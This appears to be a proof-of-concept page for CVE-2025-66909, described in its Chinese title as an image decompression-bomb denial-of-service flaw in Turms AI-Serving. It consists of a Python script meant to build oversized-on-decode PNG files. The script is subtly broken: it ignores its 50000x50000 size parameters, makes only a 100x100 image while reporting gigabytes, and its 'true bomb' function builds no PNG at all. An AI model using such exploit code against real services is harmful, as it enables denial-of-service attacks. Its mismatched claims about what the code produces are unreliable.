CVE-2025-66909: Turms AI-Serving图像解压缩炸弹DoS漏洞

import cv2 import numpy as np import zlib import struct import os def create_decompression_bomb(width=50000, height=50000, output_path='bomb.png'): """ Create a small PNG file that expands to massive size when decoded. This PoC demonstrates the decompression bomb vulnerability in ExtendedOpenCVImage. """ # Create a small image with repeated pattern that compresses extremely well # A 50000x50000 single-color image would be ~2.5GB when decoded small_size = 100 img = np.zeros((small_size, small_size), dtype=np.uint8) img[:] = 128 # Uniform gray image - compresses very well # Save as PNG cv2.imwrite(output_path, img) # Read the file and analyze with open(output_path, 'rb') as f: original_size = os.path.getsize(output_path) # Calculate expanded size expanded_size = small_size * small_size # bytes print(f"Original compressed size: {original_size} bytes") print(f"Expanded size: {expanded_size} bytes ({expanded_size / (1024**3):.2f} GB)") print(f"Compression ratio: 1:{expanded_size // original_size}") print(f"PoC file created: {output_path}") return output_path # Alternative: Create a true decompression bomb using nested compression def create_true_bomb(): """ Create a true decompression bomb using nested zlib compression. This creates a small file that expands to GBs when decompressed. """ # Create data that compresses extremely well data = b'\x00' * 1000000 # 1MB of zeros # Compress it compressed = zlib.compress(data, level=9) # Create a PNG with nested compression (simplified representation) # In practice, this requires careful PNG structure manipulation print(f"Compressed size: {len(compressed)} bytes") print(f"Expanded size: {len(data)} bytes") print("Note: True PNG bombs require specific structure manipulation") if __name__ == '__main__': create_decompression_bomb() create_true_bomb()